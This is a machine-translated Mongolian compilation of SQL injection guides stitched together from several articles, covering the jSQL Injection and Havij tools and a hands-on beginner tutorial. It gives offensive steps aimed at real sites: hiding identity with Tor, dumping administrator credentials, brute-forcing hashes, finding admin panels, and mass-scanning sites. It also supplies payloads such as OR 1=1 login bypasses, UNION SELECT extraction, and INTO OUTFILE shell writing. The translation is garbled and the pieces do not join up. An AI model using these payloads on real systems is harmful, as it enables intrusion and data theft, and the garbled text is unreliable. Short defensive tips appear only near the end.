SQL Injection дотор болон гадна талд. JSQL Injection ашиглах заавар - Kali Linux дээр SQL тарилгыг хайж олох, ашиглах олон үйлдэлт хэрэгсэл sql тарилгын хайлтын програмыг татаж авах

Татаж авсан файлыг ажиллуул хоёр дарж(Байх ёстой виртуал машин ).

3. Сайтыг SQL тарилгатай эсэхийг шалгах үед нэрээ нууцлах

Kali Linux дээр Tor болон Privoxy-г тохируулж байна

[Хэсэг боловсруулж байгаа]

Windows дээр Tor болон Privoxy-г тохируулах

[Хэсэг боловсруулж байгаа]

jSQL Injection прокси тохиргоо

[Хэсэг боловсруулж байгаа]

4. jSQL Injection ашиглан SQL injection сайтыг шалгаж байна

Програмтай ажиллах нь маш энгийн. Сайтын хаягаа оруулаад ENTER дарна уу.

Дараах дэлгэцийн агшинд сайт нь нэг дор гурван төрлийн SQL тарилгад өртөмтгий болохыг харуулж байна (тэдгээрийн талаарх мэдээллийг баруун доод буланд заасан). Тарилгын нэрэн дээр дарснаар та ашигласан аргыг сольж болно.

Мөн бид одоо байгаа мэдээллийн сангуудыг аль хэдийн харуулсан.

Та хүснэгт бүрийн агуулгыг харж болно:

Ихэвчлэн хүснэгтүүдийн хамгийн сонирхолтой хэсэг нь администраторын үнэмлэх юм.

Хэрэв та азтай бөгөөд администраторын мэдээллийг олсон бол баярлахад эрт байна. Та мөн эдгээр өгөгдлийг оруулах админ самбарыг олох хэрэгтэй.

5. jSQL Injection ашиглан админ хайх

Үүнийг хийхийн тулд дараагийн таб руу очно уу. Энд бид боломжит хаягуудын жагсаалттай танилцаж байна. Та шалгахын тулд нэг буюу хэд хэдэн хуудсыг сонгож болно:

Тохиромжтой тал нь өөр програм ашиглах шаардлагагүй юм.

Харамсалтай нь нууц үгээ тодорхой текстээр хадгалдаг хайхрамжгүй програмистууд тийм ч олон байдаггүй. Нууц үгийн мөрөнд бид иймэрхүү зүйлийг ихэвчлэн хардаг

8743b52063cd84097a65d1633f5c74f5

Энэ бол хэш юм. Та үүнийг харгис хүчээр тайлж болно. Мөн... jSQL Injection нь бүдүүлэг хүчлэгчтэй.

6. jSQL Injection-тэй харгис шахах хэшүүд

Ямар ч эргэлзээгүй тав тухтай байдал нь та өөр програм хайх шаардлагагүй юм. Хамгийн алдартай олон хэшүүдийн дэмжлэг байдаг.

Энэ нь хамгийн шилдэг нь биш юм хамгийн сайн сонголт. Хэшийг тайлах гуру болохын тулд орос хэл дээрх "" номыг санал болгож байна.

Гэхдээ мэдээжийн хэрэг, өөр програм байхгүй эсвэл суралцах цаг байхгүй үед brute-force функцтэй jSQL Injection хэрэг болно.

Тохиргоонууд байдаг: та нууц үгэнд ямар тэмдэгт оруулах, нууц үгийн уртын хязгаарыг тохируулах боломжтой.

7. SQL injection илрүүлсний дараах файлын үйлдлүүд

Өгөгдлийн сантай хийх үйлдлээс гадна тэдгээрийг унших, өөрчлөх, хэрэв SQL тарилга илэрсэн бол дараах файлын үйлдлүүдийг хийж болно.

  • сервер дээрх файлуудыг унших
  • серверт шинэ файл байршуулах
  • бүрхүүлүүдийг серверт байршуулах

Энэ бүгдийг jSQL Injection дээр хэрэгжүүлдэг!

Хязгаарлалтууд байдаг - SQL сервер нь файлын эрхтэй байх ёстой. Боломжийн системийн администраторуудТэд тахир дутуу, хандах боломжтой Файлын системавах боломжгүй.

Файлын эрх байгаа эсэхийг шалгахад хялбар байдаг. Табуудын аль нэг рүү (файл унших, бүрхүүл үүсгэх, шинэ файл байршуулах) очиж, заасан үйлдлүүдийн аль нэгийг хийхийг оролдоорой.

Өөр нэг чухал тэмдэглэл - бид ажиллах файлын яг үнэмлэхүй замыг мэдэх хэрэгтэй - эс тэгвээс юу ч ажиллахгүй.

Дараах дэлгэцийн агшинг харна уу:

Файл дээр ажиллах аливаа оролдлогын хариуг дараахь байдлаар өгнө. FILE эрх байхгүй(файлын эрх байхгүй). Мөн энд юу ч хийж чадахгүй.

Хэрэв та өөр алдаа гарвал:

[сангийн_нэр] руу бичихэд асуудал гарсан

Энэ нь та файл бичихийг хүссэн үнэмлэхүй замыг буруу зааж өгсөн гэсэн үг юм.

Үнэмлэхүй замыг сонгохын тулд хүн ядаж мэдэх ёстой үйлдлийн системсервер ажиллаж байгаа. Үүнийг хийхийн тулд Сүлжээний таб руу шилжинэ үү.

Ийм оруулга (мөр Win64) нь биднийг Windows үйлдлийн системтэй харьцаж байна гэж үзэх үндэслэлийг өгдөг:

Амьд байлгах: хугацаа=5, хамгийн их=99 Сервер: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Холболт: Амьд байлгах арга: HTTP/1.1 200 OK Агуулгын урт: 353 Огноо: 2015 оны 12-р сарын 11-ний Баасан 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Агуулгын төрөл: текст/html; charset=UTF-8

Энд бид зарим Unix (*BSD, Linux) байна:

Дамжуулах-кодлох: хэсэгчилсэн Огноо: Баасан, 2015 оны 12-р сарын 11 11:57:02 GMT Арга: HTTP/1.1 200 OK Амьд байлгах: завсарлага=3, max=100 Холболт: амьд байлгах Агуулга-Төрөл: текст/html X- Хөгжүүлэгч: PHP/5.3.29 Сервер: Apache/2.2.31 (Unix)

Энд бидэнд CentOS байна:

Арга: HTTP/1.1 200 OK Дуусах хугацаа: 1981 оны 11-р сарын 19-ний Пүрэв, 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Холболт: амьд байлгах X-Cache-Lookup: MISS from t1.hoster.ru:6666 Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS from t1.hoster.ru Кэш-Хяналт: дэлгүүр байхгүй, кэш байхгүй, дахин баталгаажуулах ёстой, шалгасны дараа=0, урьдчилан шалгах=0 Прагма: кэш байхгүй Огноо: 2015 оны 12-р сарын 11-ний Баасан, 12:08:54 GMT Дамжуулах-кодлох: хэсэгчилсэн контент-төрөл: текст/html; charset=WINDOWS-1251

Windows дээр сайтын ердийн хавтас байдаг C:\Server\data\htdocs\. Гэвч үнэн хэрэгтээ хэн нэгэн Windows дээр сервер хийх талаар "бодсон" бол энэ хүн давуу эрхийн талаар юу ч сонсоогүй байх магадлалтай. Тиймээс та C: / Windows / лавлахаас шууд оролдож эхлэх хэрэгтэй:

Таны харж байгаагаар бүх зүйл анх удаа төгс болсон.

Гэхдээ jSQL Injection бүрхүүлүүд нь өөрөө миний эргэлзээг төрүүлдэг. Хэрэв танд файлын эрх байгаа бол вэб интерфэйстэй ямар нэгэн зүйл байршуулж болно.

8. SQL тарилгыг бөөнөөр нь шалгах сайтууд

Тэр ч байтугай jSQL Injection ч гэсэн ийм онцлогтой. Бүх зүйл маш энгийн - сайтуудын жагсаалтыг (файлаас импортлох боломжтой) байршуулж, шалгахыг хүсч буй зүйлээ сонгоод тохирох товчийг дарж үйлдлийг эхлүүлнэ үү.

jSQL Injection-ийн гаралт

jSQL Injection нь сайтуудаас олдсон SQL тарилгыг хайж олох, дараа нь ашиглах хүчирхэг хэрэгсэл юм. Түүний эргэлзээгүй давуу талууд: ашиглахад хялбар, суурилуулсан холбогдох функцууд. jSQL Injection нь вэб сайтад дүн шинжилгээ хийх үед эхлэн суралцагчийн хамгийн сайн найз байж болно.

Алдаа дутагдлуудаас би мэдээллийн санг засварлах боломжгүйг тэмдэглэх болно (ядаж би энэ функцийг олж чадаагүй). Бүх хэрэгсэл шиг GUI, энэ програмын сул талыг скрипт дээр ашиглах боломжгүй гэж үзэж болно. Гэсэн хэдий ч энэ програмд ​​зарим автоматжуулалтыг хийх боломжтой - суурилуулсан масс сайт шалгах функцийн ачаар.

jSQL Injection нь sqlmap-аас хамаагүй илүү тохиромжтой. Гэхдээ sqlmap нь илүү олон төрлийн SQL тарилгыг дэмждэг, файлын галт ханын сонголтууд болон бусад функцуудтай.

Доод шугам: jSQL Injection - хамгийн сайн найзшинэхэн хакер.

Та энэ програмын тусламжийг Кали Линуксийн нэвтэрхий толь хуудаснаас авах боломжтой: http://kali.tools/?p=706

Havij бол вэбсайтын эмзэг байдлыг шалгах програм юм. Ихэнхдээ үүнийг үндсэн зорилгодоо, тухайлбал SQL тарилгыг нэвтрүүлэхэд ашигладаггүй. Ийм учраас уг хэрэгслийг ихэвчлэн "хакер" програм хангамж гэж нэрлэдэг.

Үйл ажиллагааны зарчим

Ашиглах замаар энэ програм SQL илэрхийллийг холбох замаар өөрчлөхийн тулд вэб үйлчилгээнд халдлага хийх боломжтой. Хэрэв амжилттай бол тарилга нь хэрэглэгчийн хүсэлтийг өөрийн хэрэгцээнд зориулан гүйцэтгэх логикийг өөрчлөх боломжийг олгоно. Ихэнхдээ халдлагын үеэр мэдээллийн сангийн энгийн хурууны хээ (хурууны хээ) үүсдэг бөгөөд үүний дараа шаардлагатай өгөгдлийг, жишээлбэл, хэрэглэгчийн бааз эсвэл администраторын мэдээллийн сангаас импортлодог. Данс. Сул тал байгаа тохиолдолд өрсөлдөгч нь вэб програмын Back-end хэсэгтэй ч харилцаж болно. Ялангуяа ийм хэрэгжүүлэлт нь сервер дээр шаардлагатай командуудыг гүйцэтгэх эсвэл хост талд шаардлагатай файлуудыг үзэх боломжтой болгодог.

Боломжууд

Havij нь нууц үгийн хэш болон хүснэгтийн овоолгыг хадгалах боломжийг танд олгоно. Энэ програм нь танд янз бүрийн төрлийн тарилга хийх боломжийг олгодог: алдаа дээр суурилсан SQL тарилга, UNION асуулга SQL тарилга, овоолсон асуулга SQL тарилга, цаг дээр суурилсан сохор SQL тарилга, логик дээр суурилсан сохор SQL тарилга. Энэхүү хэрэгсэл нь HTTPS-тэй ажилладаг бөгөөд ихэнхийг дэмждэг янз бүрийн төрөл DBMS: MSAccess, MySQL, Oracle, PostgreSQ, тэр ч байтугай Sybase. Шаардлагатай бол Хавиж проксигоор дамжуулан олон урсгалтай ажиллах боломжтой.

Суулгасан кодын синтаксийг "гараар" засах боломжтой. Түүнчлэн, халдлага эхлэхээс өмнө хайсан түлхүүр үгс, хүснэгтийн багана эсвэл өгөгдлийн төрлүүдийн жагсаалтыг (жишээлбэл, бүхэл тоо эсвэл бутархай тоо) сонгохыг зөвшөөрдөг.

Ашиглалтын явцад Хавиж гүйцэтгэсэн үйлдлүүдийн дэлгэрэнгүй бүртгэлийг хөтөлдөг бөгөөд халдлага дууссаны дараа програмын хавтсанд хадгалагддаг. Програмын интерфейс нь маш ойлгомжтой бөгөөд энд байгаа бүх үндсэн удирдлага нэг цонхонд багтах болно.

Гол онцлог

  • хүссэн синтакс бүхий SQL тарилга хийх;
  • хэрэгжүүлэх янз бүрийн хувилбаруудыг дэмжих;
  • вэб сайт болон програмуудын эмзэг байдлыг хайх;
  • хамтран ажиллах боломж янз бүрийн төрөл DBMS;
  • HTTPS протокол болон проксигийн дэмжлэг.

SQL injection нь мэдэгдлийн тодорхой хэсгийг тайлбарлах эсвэл үргэлж үнэн байх нөхцөлийг нэмэх замаар динамик SQL мэдэгдлийг ашигладаг халдлага юм. Энэ нь вэб програмын архитектурын цоорхойг онилдог бөгөөд SQL мэдэгдлүүдийг ашиглан хортой SQL кодыг ажиллуулдаг.

Энэ нийтлэлд бид SQL injection-д ашигладаг аргууд болон вэб програмуудыг ийм халдлагаас хэрхэн хамгаалах талаар авч үзэх болно.

SQL тарилга хэрхэн ажилладаг

SQL injection ашиглан хийж болох халдлагын төрлүүд нь өртсөн мэдээллийн сангийн хөдөлгүүрийн төрлөөс хамаарч өөр өөр байдаг. Энэхүү халдлага нь динамик SQL мэдэгдлүүдэд чиглэгддэг. Динамик мэдэгдэл нь вэб маягт эсвэл URI асуулгын мөрийн параметрүүд дээр үндэслэн ажиллах үед үүсгэгддэг мэдэгдэл юм.

Нэвтрэх маягт бүхий энгийн вэб програмыг авч үзье. HTML маягтын кодыг доор харуулав.

  • Маягт нь и-мэйл хаягийг хүлээн авах бөгөөд дараа нь нууц үг илгээгдэнэ PHP файл index.php нэртэй;
  • Сесс дотор хадгалагдана жигнэмэг. Энэ боломжийг санах_намайг дарцаг тохируулснаар идэвхжүүлсэн. Мэдээлэл илгээхэд шуудангийн аргыг ашигладаг. Энэ нь URL дээр утгууд харагдахгүй гэсэн үг юм.

Сервер талд хэрэглэгчийн ID-г баталгаажуулах хүсэлт дараах байдалтай байна гэж бодъё.

  • Хүсэлт нь $_POST массивын утгуудыг ариутгалгүйгээр шууд ашигладаг;
  • Нууц үгийг MD5 алгоритм ашиглан шифрлэсэн.

Бид SQL injection sqlfiddle ашиглан халдлагыг авч үзэх болно. Хөтөч дээрээ http://sqlfiddle.com/ URL-г нээнэ үү. Дэлгэц дээр дараах цонх гарч ирнэ.

Тайлбар: Та SQL хэллэгүүдийг бичих хэрэгтэй:

Алхам 1. Зүүн талын самбарт энэ кодыг оруулна уу:

CREATE TABLE `хэрэглэгчид` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `нууц үг` VARCHAR(45) NULL, PRIMARY KEY (`id`)); хэрэглэгчдэд (имэйл, нууц үг) утгыг оруулах(" [имэйлээр хамгаалагдсан]",md5("abc"));

Алхам 2. "Дарна уу" Схемийг бүтээх».
Алхам 3: Баруун талын самбарт доорх кодыг оруулна уу:

хэрэглэгчдээс * сонгох;

Алхам 4. "Дарна уу" SQL ажиллуулна уу". Та дараах гаралтыг харах болно.

Хэрэглэгч имэйл хаяг өгсөн гэж бодъё [имэйлээр хамгаалагдсан]нууц үг болгон 1234 гэж бичнэ. Өгөгдлийн сан дээр гүйцэтгэх хүсэлт дараах байдалтай байж болно.

Дээрх жишээний SQL тарилгын кодыг нууц үгийн хэсгийг тайлбарлаж, үргэлж үнэн байх нөхцөлийг нэмснээр тойрч болно. Халдагчид имэйл хаягийн талбарт дараах өгөгдлийг орлуулсан гэж үзье.

[имэйлээр хамгаалагдсан]" OR 1 = 1 LIMIT 1 -- " ]

нууц үгийн талбарт xxx гэж бичнэ.

Үүсгэсэн динамик мэдэгдэл дараах байдлаар харагдах болно.

  • [имэйлээр хамгаалагдсан]мөрийг төгсгөх ганц ишлэлээр төгсдөг;
  • OR 1 = 1 LIMIT 1 нь үргэлж үнэн байх нөхцөл бөгөөд буцаж ирсэн үр дүнг зөвхөн нэг бичлэгээр хязгаарладаг.

0; ‘ AND … нь нууц үгийн хэсгийг хассан SQL тайлбар юм.

Дээрх асуулгыг хуулж, доор үзүүлсэн шиг FiddleRun SQL SQL текст хайрцагт буулгана уу.

Хакерын үйл ажиллагаа: вэб програмууд дахь SQL тарилга

Бидэнд http://www.techpanda.org/ сайтаас авах боломжтой энгийн вэб програм байгаа бөгөөд үүнийг үзүүлэх зорилгоор анхлан суралцагчдад зориулсан SQL тарилгын халдлагад өртөмтгий болгодог. Дээрх HTML маягтын кодыг энэ програмын зөвшөөрлийн хуудаснаас авсан болно.

Энэ нь хангадаг үндсэн аюулгүй байдалцахим шуудангийн талбарыг ариутгах гэх мэт. Энэ нь дээрх кодыг ашиглан энэ механизмыг тойрч гарах боломжгүй гэсэн үг юм.

Үүнийг тойрч гарахын тулд та нууц үгийн талбарыг ашиглаж болно. Доорх диаграммд дараах алхмуудыг харуулав.

Халдагчид дараах өгөгдлийг өгсөн гэж бодъё.

Алхам 1: Танилцуулах [имэйлээр хамгаалагдсан]имэйл хаягаар;
2-р алхам: xxx гэж оруулна') OR 1 = 1 - ] ;

"Илгээх" товчийг дарна.

Үүнийг удирдлагын самбар руу чиглүүлэх болно. Үүсгэсэн хүсэлт дараах байдлаар харагдах болно.

Хүсэлтийг хэрхэн үүсгэснийг доорх диаграммд харуулав.

Энд:

  • Хүсэлт нь md5 шифрлэлтийг ашигласан гэж үздэг;
  • Хаалтын ганц ишлэл болон хаалт ашигласан;
  • Үргэлж үнэн байх нөхцөлийг оператор дээр нэмсэн.

Дүрмээр бол, халдагчид зорилгодоо хүрэхийн тулд SQL тарилгын халдлагад хэд хэдэн өөр аргыг ашиглахыг оролддог.

SQL Injection Attacks-ийн бусад төрлүүд

SQL тарилга нь зөвшөөрлийн механизмыг тойрч нэвтэрч орохоос хамаагүй илүү хохирол учруулж болзошгүй юм. Эдгээр халдлагын зарим нь:

  • Өгөгдөл устгах ажиллагааг гүйцэтгэх;
  • Өгөгдлийн шинэчлэлт хийх;
  • Өгөгдөл нэмэх;
  • Хортой програмыг татаж авах, суулгах сервер дээр тушаалуудыг ажиллуулах;
  • Дэлгэрэнгүй мэдээлэл гэх мэт үнэ цэнэтэй өгөгдлийг халдагчийн алсын сервер рүү экспортлох зээлийн карт, Имэйлболон нууц үг.

Дээрх жагсаалт бүрэн биш байна. Энэ нь зүгээр л SQL тарилга нь ямар аюултай талаар санаа өгдөг.

SQL Injection Automation Tools

Дээрх жишээнд бид гар аргаар довтлох аргыг ашигласан. SQL тарилга хийхээсээ өмнө халдлагыг илүү үр дүнтэй, хурдан хийх боломжийг олгодог автомат хэрэгслүүд байдаг гэдгийг ойлгох хэрэгтэй.

  • SQLSmack;
  • SQLPing 2;
  • SQLMap.

SQL тарилга хийхээс хэрхэн сэргийлэх вэ

Энд цөөн хэдэн байна энгийн дүрэм, энэ нь танд SQL тарилгын халдлагаас өөрийгөө хамгаалах боломжийг олгоно:

Хэрэглэгчийн оруулсан мэдээлэлд итгэх ёсгүй. Өгөгдлийг динамик SQL үйл ажиллагаанд ашиглахын өмнө үүнийг үргэлж ариутгах шаардлагатай байдаг.

Хадгалагдсан процедурууд- тэд SQL асуулгыг багтааж, бүх оролтын өгөгдлийг параметр болгон боловсруулах боломжтой.

Бэлтгэсэн асуулга- хүсэлтийг эхлээд үүсгэж, дараа нь өгсөн бүх хэрэглэгчийн өгөгдлийг параметр болгон боловсруулдаг. Энэ нь SQL мэдэгдлийн синтакст нөлөөлөхгүй.

Тогтмол илэрхийлэл- болзошгүй илрүүлэхэд ашиглаж болно хортой кодмөн SQL мэдэгдлийг гүйцэтгэхийн өмнө үүнийг устгана.

Өгөгдлийн сантай холбогдох эрх- руу SQL тарилгааас хамгаалах, мэдээллийн санд холбогдоход ашиглагдаж буй акаунтуудад зөвхөн шаардлагатай нэвтрэх эрхийг олгох ёстой. Энэ нь SQL хэллэгүүдийн сервер дээр хийж чадах үйлдлүүдийг хязгаарлахад тусална.

Алдааны мессежүүд- задлах ёсгүй нууц мэдээлэл. Энгийн захиалгат алдааны мессежүүд " Уучлаарай, техникийн алдаа гарлаа. Дэмжлэгт энэ талаар аль хэдийн мэдэгдсэн байна. Дараа дахин оролдож үзнэ үү' алдааг үүсгэсэн SQL асуулгыг харуулахын оронд ашиглаж болно.

Сайн байцгаана уу, уншигч. Сүүлийн үед би вэбийн аюулгүй байдлын чиглэлээр хичээллэж байгаа бөгөөд ямар нэгэн хэмжээгээр ажил үүнтэй холбоотой. Учир нь Би янз бүрийн форум дээрх сэдвүүдийг илүү олон удаа анзаарч эхэлсэн бөгөөд энэ бүхэн хэрхэн ажилладагийг харуулахыг хүсч, нийтлэл бичихээр шийдсэн. Энэхүү нийтлэл нь ийм зүйлтэй тулгараагүй боловч сурахыг хүсч буй хүмүүст зориулагдсан болно. Энэ сэдвээр вэб дээр харьцангуй олон нийтлэл байдаг, гэхдээ эхлэгчдэд энэ нь бага зэрэг төвөгтэй байдаг. Би бүх зүйлийг ойлгомжтой хэлээр, дэлгэрэнгүй жишээгээр тайлбарлахыг хичээх болно.

Өмнөх үг

Энэ нийтлэлийг ойлгохын тулд танд SQL-ийн мэдлэг үнэхээр хэрэггүй, гэхдээ цээжлэхийн тулд ядаж сайн тэвчээр, бага зэрэг тархи хэрэгтэй.

Нийтлэлийг нэг удаа уншихад хангалтгүй байх болно гэдэгт би итгэж байна, учир нь. бидэнд амьд жишээ хэрэгтэй - та бүхний мэдэж байгаагаар цээжлэх явцад дадлага хийх нь илүүц биш юм. Тиймээс бид эмзэг скрипт бичиж, тэдгээрт сургах болно.

SQL тарилга гэж юу вэ?
ярьж байна энгийн хэллэгЭнэ нь скриптийг бүтээгчийн төлөвлөөгүй зарим үйлдлийг гүйцэтгэх боломжийг олгох мэдээллийн санд халдлага юм. Бодит амьдралын жишээ:

Аав нь ээждээ Васяд 100 рубль өгч, ширээн дээр тавьсан гэж бичсэн захидалдаа бичжээ. Үүнийг онигоо SQL хэл болгон дахин боловсруулснаар бид дараахь зүйлийг олж авна.
ТҮРИЙВЧЭЭСЭЭ 100 РУБЛЬ АВЧ, Васяд өг

Аав нь тэмдэглэлийг муу бичээд (болхи гар бичмэл) ширээн дээр үлдээсэн тул Васягийн ах Петя түүнийг харав. Петя хакер байсан тул тэнд "OR Petya" гэж нэмээд дараах хүсэлтийг хүлээн авав.
ТҮРИЙВЧЭЭСЭЭ 100 РУБЛЬ АВААД Вася БУЮУ ПЕТЯГТ ӨГ.

Ээж нь тэмдэглэлийг уншаад өчигдөр Васяд мөнгө өгсөн гэж шийдээд Петяд 100 рубль өгөв. Бодит амьдрал дээрх энгийн SQL тарилгын жишээ энд байна :) Өгөгдлийг шүүлгүйгээр (ээж гар бичмэлийг нь арай ядан гаргаж чадсан) Петя ашиг олжээ.

Бэлтгэл
Дадлага хийхийн тулд танд энэ нийтлэлийн эх скрипт бүхий архив хэрэгтэй болно. Татаж аваад сервер дээр задлаарай. Мөн өгөгдлийн санг импортлох ба файл дахь өгөгдлийг тохируулах cfg.php

SQL тарилгын хайлт

Та аль хэдийн ойлгосноор тарилга нь шүүгдээгүй ирж ​​буй мэдээллээс ирдэг. Хамгийн нийтлэг алдаа бол дамжуулсан ID-г шүүхгүй байх явдал юм. Ойролцоогоор хэлбэл, бүх талбарт ишлэлийг орлоорой. Энэ нь GET/POST хүсэлт эсвэл бүр күүки байж болно!

Тоон оролтын параметр
Дадлага хийхийн тулд бидэнд скрипт хэрэгтэй index1.php. Дээр хэлсэнчлэн бид мэдээний ID-д ишлэлийг орлуулдаг.

Учир нь Манай хүсэлтэд шүүлтүүр байхгүй:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт нь үүнийг ойлгох болно

id=1" гэсэн мэдээнээс * СОНГОХ

Мөн энэ нь бидэнд алдаа өгөх болно:
Анхааруулга: mysql_fetch_array() нь 16-р мөрөнд C:\WebServ\domains\sqlinj\index1.php-д өгөгдсөн логикийн хувьд 1-р параметрийг нөөц гэж тооцдог.

Хэрэв алдаа гаргаагүй бол дараах шалтгаанууд байж болно.

1.SQL injection энд байхгүй - Ишлэлийг шүүсэн, эсвэл зүгээр л хөрвүүлсэн (int)
2. Алдааны гаралтыг идэвхгүй болгосон.

Хэрэв алдаа гарсан бол - Ура! Бид анхны төрлийн SQL тарилгыг олсон - Тоон оролтын параметр.

Мөр оруулах параметр

Хүсэлтийг хаягаар илгээнэ index2.php. IN өгсөн файл, хүсэлт дараах байдлаар харагдаж байна.
$хэрэглэгч = $_GET["хэрэглэгч"]; $query = "SELECT * FROM news WHERE user="$user"";

Энд бид хэрэглэгчийн нэрээр мэдээний сонголт хийдэг бөгөөд дахин шүүж болохгүй.
Бид үнийн санал бүхий хүсэлтийг дахин илгээж байна:

Энэ нь алдаа өгсөн. БОЛЖ БАЙНА УУ! Тиймээс эмзэг байдал бий. Энэ нь биднийг эхлүүлэхэд хангалттай - бэлтгэлдээ орцгооё.

Арга хэмжээ авцгаая

Жаахан онол

Алдаанаас бусад тохиолдолд эндээс ямар нэг зүйлийг гаргаж авахыг тэсэн ядан хүлээж байгаа байх. Эхлээд " тэмдэг гэдгийг ойлгоорой. -- "-д сэтгэгдэл гэж тооцогддог SQL хэл.

АНХААР! Үүний өмнө болон хойно зай байх ёстой. URL-д тэдгээрийг дараах байдлаар дамжуулдаг %20

Сэтгэгдлийн дараа ирсэн бүх зүйлийг устгах болно. Өөрөөр хэлбэл, хүсэлт:
ХААНА МЭДЭЭГЭЭС СОНГОХ хэрэглэгч="AlexanderPHP" -- habrahabra

Амжилттай гүйцэтгэнэ. Та дараах хүсэлтийг илгээж index2.php скрипт дээр туршиж үзэж болно.

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Параметрийг сур НЭГДСЭН. SQL хэл дээр түлхүүр үг НЭГДСЭНХоёр SQL асуулгын үр дүнг нэг хүснэгтэд нэгтгэхэд ашигладаг. Өөрөөр хэлбэл, өөр ширээнээс бидэнд хэрэгтэй зүйлийг гаргаж авахын тулд.

Бид энэ давуу талыг ашигладаг

Хэрэв параметр нь "Тоон" бол хүсэлтэд бид үнийн санал илгээх шаардлагагүй бөгөөд төгсгөлд нь мэдээжийн хэрэг тайлбар оруулах шаардлагагүй болно. Скрипт рүү буцах index1.php.

sqlinj/index1.php?id=1 UNION SELECT 1 скрипт рүү шилжье. Манай мэдээллийн сангийн асуулга дараах байдалтай байна.
СОНГОХ * мэдээнээс ХААНА id=1 UNION SELECT 1
Тэгээд тэр бидэнд алдаа өгсөн, учир нь. Асуулгын нэгтгэлтэй ажиллахын тулд бидэнд ижил тооны талбар хэрэгтэй.

Учир нь Бид эхний асуулгад тэдний тоонд нөлөөлж чадахгүй байгаа тул эхнийхтэй тэнцүү байхын тулд хоёрдугаарт тэдний дугаарыг сонгох хэрэгтэй.

Бид талбаруудын тоог сонгоно

Талбаруудыг сонгох нь маш энгийн бөгөөд дараах хүсэлтийг илгээхэд хангалттай.
sqlinj/index1.php?id=1 UNION SELECT 1,2
Алдаа…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Дахин алдаа гарлаа!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ямар ч алдаа байхгүй! Тиймээс баганын тоо 5 байна.

GROUP BY
Ихэнхдээ 20, 40, бүр 60 талбар байж болно.Тиймээс бид тэдгээрийг байнга давж гарахгүйн тулд ашигладаг. GROUP BY

Хэрэв хүсэлт гаргавал
sqlinj/index1.php?id=1 2-р бүлэг
алдаа гаргаагүй тул талбарын тоо 2-оос их байна. Бид дараахыг оролдоно:

sqlinj/index1.php?id=1 8-р бүлэг
Оп, бид алдаа харж байгаа тул талбарын тоо 8-аас бага байна.

Хэрэв GROUP BY 4 алдаа байхгүй, харин GROUP BY 6 алдаа гарвал талбарын тоо 5 байна.

Дэлгэцийн багануудыг тодорхойлох
Эхний хүсэлтээс юу ч харагдахгүй байхын тулд байхгүй ID-г орлуулахад хангалттай, жишээлбэл:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Энэ үйлдлээр бид хуудсан дээр аль баганыг харуулахыг тодорхойлсон. Одоо эдгээр тоонуудыг солих хэрэгтэй шаардлагатай мэдээлэл, та асуулгыг үргэлжлүүлэх хэрэгтэй.

Өгөгдлийн гаралт

Хүснэгт хэвээр байгаа гэдгийг бид мэднэ гэж бодъё хэрэглэгчидталбарууд байдаг ID, нэрТэгээд нэвтрүүлэх.
Бид ID=1-тэй хэрэглэгчийн мэдээллийг авах хэрэгтэй

Иймд асуулга үүсгэцгээе:

sqlinj/index1.php?id=-1 UNION СОНГОХ 1,2,3,4,5 Хэрэглэгчээс ХААНА id=1
Скрипт нь мөн гарсаар байна

Үүнийг хийхийн тулд бид талбаруудын нэрийг 1 ба 3 тоонуудын оронд орлуулах болно.

sqlinj/index1.php?id=-1 UNION SELECT нэр,2,pas,4,5 Хэрэглэгчээс ХААНА id=1
Бид хэрэгтэй зүйлээ авсан!

Скрипт дээрх шиг "мөр оруулах параметр"-ийн хувьд index2.phpта эхэнд нь хашилт, төгсгөлд нь тайлбар тэмдэг нэмэх хэрэгтэй. Жишээ:
sqlinj/index2.php?user=-1" UNION SELECT нэр,2,pas,4,5 Хэрэглэгчээс ХААНА id=1 --%20

Файл унших/бичих

Файл унших, бичихийн тулд мэдээллийн сангийн хэрэглэгч FILE_PRIV зөвшөөрөлтэй байх ёстой.
Файл бичих
Үнэндээ бүх зүйл маш энгийн. Файл бичихийн тулд бид функцийг ашиглана OUTFILE.
sqlinj/index2.php?user=-1" UNION СОНГОХ 1,2,3,4,5-г OUTFILE "1.php" --%20
Гайхалтай, бидэнд файл байна. Тиймээс бид мини бүрхүүлийг байршуулж болно:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Файлуудыг уншиж байна
Файлуудыг унших нь бичихээс ч хялбар байдаг. Энэ функцийг ашиглахад л хангалттай LOAD_FILE, бидний сонгосон талбайн газрын хувьд:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Тиймээс бид өмнөх бичсэн файлыг уншсан.

Хамгаалах аргууд

Өөрийгөө хамгаалах нь эмзэг байдлыг ашиглахаас ч хялбар байдаг. Зөвхөн өгөгдлийг шүүнэ үү. Хэрэв та дугаар дамжуулж байгаа бол ашиглана уу
$id = (int) $_GET["id"];
Хэрэглэгч malroc санал болгосноор. PDO эсвэл бэлтгэсэн мэдэгдлийг ашиглан хамгаална.

Бүрэн дуусгахын оронд

Үүн дээр би "Эхлэн суралцагчдад зориулсан SQL injection" тухай эхний хэсгийг дуусгахыг хүсч байна. Хоёрдугаарт, бид тарилгын илүү хэцүү жишээг авч үзэх болно. Эмзэг скрипт бичиж, асуулгыг өөрөө гүйцэтгэхийг хичээгээрэй.
Мөн сайтынхаа хэрэглэгчдэд бүү итгэ.

SQL тарилгахангалттай сайхан боломжхакер авахын тулд
серверийн хандалт. Бас багахан хүчин чармайлтаар тэр
одоо ч гэсэн ойлгодог 🙂

доторх кодлогч

Өнөө үед мэдээллийн сантай ажиллахыг дэмждэг
бараг бүх програмчлалын хэл, тухайлбал BASIC, C++, Java, PERL, PHP, Assembler, тэр ч байтугай JavaScript! Мөн эдгээр программуудыг DBMS буюу өгөгдлийн сангийн менежментийн систем гэж нэрлэдэг. Мэдээллийн санг ихэвчлэн санхүүгийн асуудлыг шийдвэрлэхэд ашигладаг.
